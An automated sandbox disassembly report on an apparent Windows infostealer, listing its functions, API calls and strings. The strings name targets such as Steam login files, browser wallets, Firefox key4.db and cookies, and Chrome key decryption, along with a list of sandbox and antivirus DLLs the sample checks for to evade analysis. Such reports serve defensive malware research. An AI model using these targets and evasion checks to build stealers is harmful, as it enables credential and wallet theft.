Opcode ID: 8c4c13cee421c7050bc34002db25b6abb8c2bc4e772ac01028f81aeeca01f54a
Instruction ID: 4855d12272032d1875a7082c41d92aaf51c32be0ad940928e656d1a7aac375ca
Opcode Fuzzy Hash: 8c4c13cee421c7050bc34002db25b6abb8c2bc4e772ac01028f81aeeca01f54a
Instruction Fuzzy Hash: 0FB2A331A006199BCB10EFA1CD95AEEB779BF48304F40419EF8056B192DF78AEC5CB95

Function 00413FF0 Relevance: 54.9, APIs: 23, Strings: 8, Instructions: 667
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?,-000000C0,-000000CC,-000000D8), ref: 00414023
memset.MSVCRT ref: 00414039
memset.MSVCRT ref: 0041404F

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 004140E5
memcmp.MSVCRT(?,00000000,00000000), ref: 0041412B
strlen.MSVCRT ref: 00414197
memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002), ref: 004141D4
??3@YAXPAX@Z.MSVCRT(00000000,0042113D,00000002), ref: 0041423D

Strings

C:\ProgramData\, xrefs: 004143F5
*%DRIVE_REMOVABLE%*, xrefs: 00414727
%DRIVE_REMOVABLE%, xrefs: 004147CE
%DRIVE_FIXED%, xrefs: 004147C9, 004147D8, 004147E1
Files, xrefs: 004142F3
%s\*.*, xrefs: 0041400C
*%DRIVE_FIXED%*, xrefs: 0041470E
%s\%s\%s, xrefs: 004142F8

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpmemsetstrlen$??3@FileFindFirstmemmove
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$%s\%s\%s$%s\*.*$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*$C:\ProgramData\$Files
API String ID: 2257844457-1484801792
Opcode ID: 85359c954f35e407cbf01df20d7615a727ed75f97d4295e79f40369c1520ae8c
Instruction ID: 5e360f460fbcca21e162eb574f6fd90f09ecfb201c8315115846ffce7b56cf4e
Opcode Fuzzy Hash: 85359c954f35e407cbf01df20d7615a727ed75f97d4295e79f40369c1520ae8c
Instruction Fuzzy Hash: AB42D471E00618ABDB10DF65CC85BEEB7B4BF58304F00419AF915A7252EB78AAC4CF94

Function 00407060 Relevance: 38.9, APIs: 16, Strings: 6, Instructions: 448
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 0040708A

Part of subcall function 0040ECA0: memcpy.MSVCRT(?,00000010,?,?,?,00000010,00406A4D,00000001,00000000,?,?,00000000,00000000,00000000,?,0040D83E), ref: 0040ECC1
Part of subcall function 0040ECA0: ??3@YAXPAX@Z.MSVCRT(00000010,?,?,00000010,00406A4D,00000001,00000000,?,?,00000000,00000000,00000000,?,0040D83E,00000000,?), ref: 0040ECF3

strlen.MSVCRT ref: 004070EB
memcpy.MSVCRT(?,ChromeBuildTools,00000104), ref: 00407130
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00407142
CreateDesktopA.USER32 ref: 00407166
strlen.MSVCRT ref: 00407222

Strings

_CreateProcess, xrefs: 0040752B
cookies, xrefs: 00407567
D, xrefs: 004071E2
%s%s", xrefs: 0040717B
ChromeBuildTools, xrefs: 0040712A
OCALAPPDATA, xrefs: 004071AA

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strlen$Desktopmemcpy$??3@CreateOpen
String ID: %s%s"$ChromeBuildTools$D$OCALAPPDATA$_CreateProcess$cookies
API String ID: 3209976073-957743217
Opcode ID: 25b604c1d987f4309f2292e5dfc1b2e03b5b8293f16c39f96c9129eb1a5b4d54
Instruction ID: 88d1e3b40fbcb0df37290dc8620aa57b8ac853b7570111a731a950e539c68a8a
Opcode Fuzzy Hash: 25b604c1d987f4309f2292e5dfc1b2e03b5b8293f16c39f96c9129eb1a5b4d54
Instruction Fuzzy Hash: 69F1F431D046049BDB11EF64CD81BEEB7B0AF45304F00456EF90677292EB79A9C5CB9A

Function 00414BD0 Relevance: 37.3, APIs: 9, Strings: 12, Instructions: 553
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00414BFF

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 00414CA9
memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 00414CEB
strlen.MSVCRT ref: 00414D57
memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 00414D94
??3@YAXPAX@Z.MSVCRT(00000000,0042113D,00000002,?,?,?,00000001), ref: 00414DFD

Strings

\Steam\, xrefs: 00414E8C
SteamPath, xrefs: 00415088
DialogConfigOverlay*.vdf, xrefs: 0041527A
Software\Valve\Steam, xrefs: 00415065
ssfn*, xrefs: 00415132
Soft, xrefs: 00414E80
loginusers.vdf, xrefs: 00415350
config.vdf, xrefs: 0041519A
%s\%s, xrefs: 00414BE8
libraryfolders.vdf, xrefs: 004152E8
DialogConfig.vdf, xrefs: 00415209
\config\, xrefs: 004150BE

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpstrlen$??3@FileFindFirstmemmove
String ID: %s\%s$DialogConfig.vdf$DialogConfigOverlay*.vdf$Soft$Software\Valve\Steam$SteamPath$\Steam\$\config\$config.vdf$libraryfolders.vdf$loginusers.vdf$ssfn*
API String ID: 3586713249-3432709174
Opcode ID: e8913cc1306ead9757348380cdc05cbb35dee01de83e02b5b92843a6cff9921b
Instruction ID: f04b4360dc0817d558250c3cdd1667f1ca9511f4c4837c2270bb77207d21b6f3
Opcode Fuzzy Hash: e8913cc1306ead9757348380cdc05cbb35dee01de83e02b5b92843a6cff9921b
Instruction Fuzzy Hash: 1132B531C007589BDF10EF65CD85AEDB778BF58304F00929AF90967152EB78AAC5CB94

Function 0040A5D0 Relevance: 32.0, APIs: 7, Strings: 11, Instructions: 509
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,\*.*,?,?,0042150A), ref: 0040A63D

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 0040A738

Strings

C:\ProgramData\, xrefs: 0040A3F1
Plugins, xrefs: 0040A250
Wallets, xrefs: 0040A247
IndexedDB, xrefs: 0040A36A, 0040AB94
chrome-extension_, xrefs: 0040ABBA
Opera, xrefs: 0040A92B
CURRENT, xrefs: 0040AA3E, 0040AB25, 0040AC56
\*.*, xrefs: 00409F67, 0040A605
Local Extension Settings, xrefs: 0040A345, 0040A9B4
Sync Extension Settings, xrefs: 0040A38F, 0040AAA7
_0.indexeddb.leveldb, xrefs: 0040ABD9

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FileFindFirstmemmovestrlen
String ID: C:\ProgramData\$CURRENT$IndexedDB$Local Extension Settings$Opera$Plugins$Sync Extension Settings$Wallets$\*.*$_0.indexeddb.leveldb$chrome-extension_
API String ID: 600402033-450108884
Opcode ID: 139ffd1411e68c882e5f60f44f434026bf7f517aa634323aadea9402351866cf
Instruction ID: 1a3cb996083095315d2ff66196e58a8cf7e0966e26cbd8d21691459e5d96898c
Opcode Fuzzy Hash: 139ffd1411e68c882e5f60f44f434026bf7f517aa634323aadea9402351866cf
Instruction Fuzzy Hash: 841243316102589BCB14EBA1CD95AEE7779AF54308F40009EF5066B182DFBC6EC5CBA9

Function 004170D0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 117
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32 ref: 004170F0
wsprintfA.USER32 ref: 0041710C
FindFirstFileA.KERNEL32(?,?), ref: 0041711B
FindNextFileA.KERNELBASE(00000000,?), ref: 0041714F
strcpy.MSVCRT(?,0000002E), ref: 0041717C
_splitpath.MSVCRT ref: 0041719E
strcpy.MSVCRT(?,?), ref: 004171A8
strlen.MSVCRT ref: 004171B1
isupper.MSVCRT ref: 004171D9
wsprintfA.USER32 ref: 00417208
strcpy.MSVCRT(?,?), ref: 0041722E
strlen.MSVCRT ref: 00417237
SHFileOperationA.SHELL32(?), ref: 00417252
FindClose.KERNEL32(00000000), ref: 0041725E

Strings

%s\*, xrefs: 00417106
., xrefs: 00417159
%s\%s, xrefs: 004171FB

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FileFindstrcpy$strlenwsprintf$CloseFirstFolderNextOperationPath_splitpathisupper
String ID: %s\%s$%s\*$.
API String ID: 3519957579-2663966076
Opcode ID: cf9b2e7014ef6816a469ec533b7518abd9e477652080199a49752e259d229905
Instruction ID: 114bed65e9d4b9d73eb4094e4860af952423d6fe10318c0fdbdbb5acdc2bd80f
Opcode Fuzzy Hash: cf9b2e7014ef6816a469ec533b7518abd9e477652080199a49752e259d229905
Instruction Fuzzy Hash: D8413B71908348AFD2209B21DC05BEB77BCAFD5304F04452EF99982251E779A689C7AB

Function 0040C790 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 614
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,0042119A,?,?,0042150A), ref: 0040C80A

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 0040C893
memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 0040C8C2
strlen.MSVCRT ref: 0040C91D
memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 0040C94B
??3@YAXPAX@Z.MSVCRT(00000000,0042113D,00000002,?,?,?,00000001), ref: 0040C9AE

Strings

C:\ProgramData\, xrefs: 0040CAB2
profiles.ini, xrefs: 0040CE8F
prefs.js, xrefs: 0040CA79
\..\, xrefs: 0040CE7F

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpstrlen$??3@FileFindFirstmemmove
String ID: C:\ProgramData\$\..\$prefs.js$profiles.ini
API String ID: 3586713249-2608480989
Opcode ID: b82d6e280c7ec2f173d30f79c5aac1989165e53126787770b6279d5565a2d5f3
Instruction ID: 416ba331a07f3905739cc071a47e34269f16b80876d8e7813359335a266a51ee
Opcode Fuzzy Hash: b82d6e280c7ec2f173d30f79c5aac1989165e53126787770b6279d5565a2d5f3
Instruction Fuzzy Hash: 4932D7319002189BCB14EBB1C9D5AEEB778BF48304F40455EF41667192DF7CAAC9CBA9

Function 004011F0 Relevance: 25.6, APIs: 6, Strings: 11, Instructions: 110stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,avghookx.dll,?,?,?,004185FC), ref: 0040121E
lstrcmpiW.KERNEL32(?,avghooka.dll,?,?,?,004185FC), ref: 0040124E
lstrcmpiW.KERNEL32(?,snxhk.dll,?,?,?,004185FC), ref: 0040127E
lstrcmpiW.KERNEL32(?,sbiedll.dll,?,?,?,004185FC), ref: 004012AE
lstrcmpiW.KERNEL32(?,api_log.dll,?,?,?,004185FC), ref: 004012DE

Part of subcall function 004011B0: lstrcmpiW.KERNEL32(?,?,7591F360,?,?,?,00401320,pstorec.dll,?,?,?,004185FC), ref: 004011DA

lstrcmpiW.KERNEL32(?,dir_watch.dll,?,?,?,004185FC), ref: 0040130E

Strings

avghookx.dll, xrefs: 00401216
pstorec.dll, xrefs: 00401316
sbiedll.dll, xrefs: 004012A6
wpespy.dll, xrefs: 00401332
vmcheck.dll, xrefs: 00401324
snxhk.dll, xrefs: 00401276
cmdvrt32.dll, xrefs: 00401340
avghooka.dll, xrefs: 00401246
api_log.dll, xrefs: 004012D6
cmdvrt64.dll, xrefs: 0040134E
dir_watch.dll, xrefs: 00401306

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: api_log.dll$avghooka.dll$avghookx.dll$cmdvrt32.dll$cmdvrt64.dll$dir_watch.dll$pstorec.dll$sbiedll.dll$snxhk.dll$vmcheck.dll$wpespy.dll
API String ID: 1586166983-3272603366
Opcode ID: b3d858f19f8d577d2ca6532e9e1bf2584ef083a26a7cebbf2994b5fa81393a97
Instruction ID: 41c0b1b83a52b27a2bdfeff9d3ed397a321de4e9cb8fcf5d4a551c39b82ef4d0
Opcode Fuzzy Hash: b3d858f19f8d577d2ca6532e9e1bf2584ef083a26a7cebbf2994b5fa81393a97
Instruction Fuzzy Hash: D431AD323413509BCB119B05C8C0F253362AF99B98FAE01F6E902BB7B7D27C9C41865D

Function 00401730 Relevance: 23.7, APIs: 8, Strings: 5, Instructions: 968filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,00000028,00000028,00000028,P#@,?,00420BBE,?,?,?,00420BBE,P#@,?,00000028,00000028,?), ref: 004018D4
strlen.MSVCRT ref: 00401970

Strings

C:\ProgramData\, xrefs: 00401D46, 00402027
Wallets, xrefs: 00401CAB, 00401F68
P#@, xrefs: 00401834, 004018B3, 00401ED7, 00401F8C, 00402069, 004020D1, 004021AA, 004020FB, 00401B66, 00401C60, 00401CEB, 00401C0C, 00401E30, 00401841, 00401B69, 00401C63, 00401C6E, 00401E33, 00401EDA, 00401F8F, 0040206C, 00402074, 004021AD
\*.*, xrefs: 00401800
P#@, xrefs: 004017BD, 00402214, 00401B84, 00401882, 00401B87

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FileFindFirststrlen
String ID: C:\ProgramData\$P#@$P#@$Wallets$\*.*
API String ID: 3775335128-2645412951
Opcode ID: 0392e0cbbb74c3f63e79c827141e62e095c897f05b3910d11131e3b73294b9ba
Instruction ID: f6b8f89bdbb38ad25dbe9b200cedc7393f8838c2c48d913623183ff2efa6fcc7
Opcode Fuzzy Hash: 0392e0cbbb74c3f63e79c827141e62e095c897f05b3910d11131e3b73294b9ba
Instruction Fuzzy Hash: C572B931A102185BCF14EBA1CD959EEB779AF44304F40409EF9066B192DF7CAEC5CBA9

Function 00409460 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,0042119A,?,?,0042150A), ref: 004094C5

Part of subcall function 004113B0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042150A), ref: 0041143E

CopyFileA.KERNEL32(00000000,00000000,00000001,?,?,?,?,00000006,?,00420BBE,?,?,?,C:\ProgramData\,0042150A,?), ref: 004095D2

Part of subcall function 004076B0: CreateFileA.KERNEL32 ref: 004076EE
Part of subcall function 004076B0: LocalAlloc.KERNEL32(00000040,003694E8), ref: 00407723
Part of subcall function 004076B0: ReadFile.KERNEL32(00000000,A075FFA4,003694E8,?,00000000), ref: 00407744

strlen.MSVCRT ref: 00409766

Strings

C:\ProgramData\, xrefs: 0040953A
cookies.sqlite, xrefs: 00409952
\key4.db, xrefs: 004094FB

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$AllocCopyCreateFindFirstLocalReadlstrlenstrlen
String ID: C:\ProgramData\$\key4.db$cookies.sqlite
API String ID: 1682363559-1530792146
Opcode ID: efc8b8d459f8125ef32f95508c9d4e357bcd32b5b3231743abb90690a61e27b0
Instruction ID: 855358d25c22b69566fbc42c17e74533ab55524d0b71b666bfbe4b79f85c7bd2
Opcode Fuzzy Hash: efc8b8d459f8125ef32f95508c9d4e357bcd32b5b3231743abb90690a61e27b0
Instruction Fuzzy Hash: 6CC1B631A102189BCF14EBB1CC95AEE7779AF44304F44005EF80667292DB7C6EC5CBA9

Function 004078F0 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 264stringencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004076B0: CreateFileA.KERNEL32 ref: 004076EE
Part of subcall function 004076B0: LocalAlloc.KERNEL32(00000040,003694E8), ref: 00407723
Part of subcall function 004076B0: ReadFile.KERNEL32(00000000,A075FFA4,003694E8,?,00000000), ref: 00407744

Part of subcall function 004115B0: LocalAlloc.KERNEL32(00000040,?,?,00000000,?,?,00416A58,00000000,00000000), ref: 004115D4

lstrlenA.KERNEL32(00000000,-00000010,0041FE20,?,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040796B
CryptUnprotectData.CRYPT32 ref: 00407AFA
lstrlenA.KERNEL32(00000000), ref: 00407BC2

Strings

ChainingMode, xrefs: 00407B90
DPAP, xrefs: 00407A72
_key.txt, xrefs: 00407BE3
"encrypted_key":", xrefs: 00407946
AES, xrefs: 00407B6C
ChainingModeGCM, xrefs: 00407B8B

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: AllocFileLocallstrlen$CreateCryptDataReadUnprotect
String ID: "encrypted_key":"$AES$ChainingMode$ChainingModeGCM$DPAP$_key.txt
API String ID: 2245422391-530840575
Opcode ID: 80c8c99dc66d1a3a314694ca8b656682875a6de58e5a181b00e7ea29ddd83769
Instruction ID: 10bc9677902d6ee6c816a36e6349628b10f5ac32de00f2ba7c41a4f543123621
Opcode Fuzzy Hash: 80c8c99dc66d1a3a314694ca8b656682875a6de58e5a181b00e7ea29ddd83769
Instruction Fuzzy Hash: 93A1C571E042159BDB10DFA1CC85BAE7BB5FF44304F10452AE901BB291D778BA45CBA6

Function 00404280 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 173networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,?,?,?,004042B3,00416A04,?,?,00416A04), ref: 004028AB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,00416A04,?,?,00416A04), ref: 004028BB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00416A04,?,?,00416A04), ref: 004028CB
Part of subcall function 00402790: InternetCrackUrlA.WININET(00000000,00000000,00000000,?,?,?,00416A04,?,?,00416A04), ref: 004028FA

InternetOpenA.WININET ref: 004042E1
InternetConnectA.WININET ref: 0040432D
HttpSendRequestA.WININET ref: 0040439B
InternetReadFile.WININET(00000000,?,000007CF,?,?), ref: 004043F0

Strings

GET, xrefs: 0040435A
ERROR, xrefs: 00404447, 0040445F
HTTP/1.1, xrefs: 00404352
https, xrefs: 004042EC

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Internet$ConnectCrackFileHttpOpenReadRequestSend
String ID: ERROR$GET$HTTP/1.1$https
API String ID: 2949174142-2961588264
Opcode ID: 2e2f3eead9419f441d624b4b2d1e8f2e1cd83a2dda5262dd01751a01b6ddd133
Instruction ID: 3507938dcee9cc1a0527973a4bd5b6eba6c84462808e0f35a45f5f60c0c7131e
Opcode Fuzzy Hash: 2e2f3eead9419f441d624b4b2d1e8f2e1cd83a2dda5262dd01751a01b6ddd133
Instruction Fuzzy Hash: D451D771A00319ABDB10DFA4DC85FFF7779AF84704F00452AFA05A7281DB78A985CBA5

Function 00406FE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407060: strlen.MSVCRT ref: 0040708A
Part of subcall function 00407060: strlen.MSVCRT ref: 004070EB

FindFirstFileA.KERNEL32(?,00000000), ref: 00407009
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00407041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00407059

Strings

\LOCK, xrefs: 00406FED

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strlen$??3@FileFindFirst_invalid_parameter_noinfo_noreturn
String ID: \LOCK
API String ID: 3598502236-2879356017
Opcode ID: 952b9b43d773132738958d387f29db73d7e192de4124f97fd59f734c76a160b2
Instruction ID: f44c4d4fe338d5c98bb0dd275f70c49df30f8ba6c2b9d28de0915081bc548b38
Opcode Fuzzy Hash: 952b9b43d773132738958d387f29db73d7e192de4124f97fd59f734c76a160b2
Instruction Fuzzy Hash: CAF0D631D1811187DB1876799D45A6F72919F42730F540B3FF566B72C1E239BC80428B

Function 00412050 Relevance: 6.1, APIs: 4, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,?,?,00000000,?,?,0000001C,0042150A), ref: 00412065
Process32First.KERNEL32(00000000,?,?,?,?,?,?,00000000,?,?,0000001C,0042150A), ref: 00412071
Process32Next.KERNEL32(00000000,?,?,?,?,?,?,00000000,?,?,0000001C,0042150A), ref: 0041207D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,?,?,0000001C,0042150A), ref: 004120C5

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Process32$CreateFirstNextProcessSnapshotTerminateToolhelp32
String ID:
API String ID: 2465094008-0
Opcode ID: a0b7ef02e1583a47d1d21b47bccce1f0927895e069a30e1cc4337bfc16cdf067
Instruction ID: 36dad1cb0fcbca0ffdfdd7c06b199559f2c5def7befbfc21f7e452e0f853ed5d
Opcode Fuzzy Hash: a0b7ef02e1583a47d1d21b47bccce1f0927895e069a30e1cc4337bfc16cdf067
Instruction Fuzzy Hash: 93017571201214AFE7205B20BD48FBFBEADEF85781F14151DF605D6190CBA99CA1C6BA

Function 004108B0 Relevance: 4.5, APIs: 3, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00401148,?,00420C50), ref: 004108B2
HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00401148,?,00420C50), ref: 004108C0
GetUserNameA.ADVAPI32(00000000), ref: 004108D3

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 2b361677700be1ff8942658dc204bee90d98a7bfd06238250aeafa4148f7f011
Instruction ID: b80074a2059a1f3756ce7d307e25dbd51f94fcbc115dd2ec99a1d9f33b013242
Opcode Fuzzy Hash: 2b361677700be1ff8942658dc204bee90d98a7bfd06238250aeafa4148f7f011
Instruction Fuzzy Hash: 66D0A7F17012106BD6206764BC4DBC7395C9F05760F440021F981C62A0C27448C1C695

Function 004109F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,00000002,?,00000200), ref: 00410A4D

Part of subcall function 00411270: memset.MSVCRT ref: 00411281

Strings

/ , xrefs: 00410ABC

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: InfoLocalememset
String ID: /
API String ID: 25785879-4001269591
Opcode ID: 47d8d58765390bafa4d4b739f7cf5a28c409f74912168362484b764a7be3d9a5
Instruction ID: eea5c3a77f3b4bcccf0633d63ef4e7b0d3230a8af430361ee2a26d3609cb3d8b
Opcode Fuzzy Hash: 47d8d58765390bafa4d4b739f7cf5a28c409f74912168362484b764a7be3d9a5
Instruction Fuzzy Hash: 5831A8313043186BD7106B919C89FAF779DEB85748F00051EF9469B291DABCAD8487A9

Function 00410990 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00417920,?,?,?,?), ref: 004109B2

Strings

wwww, xrefs: 004109C0

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

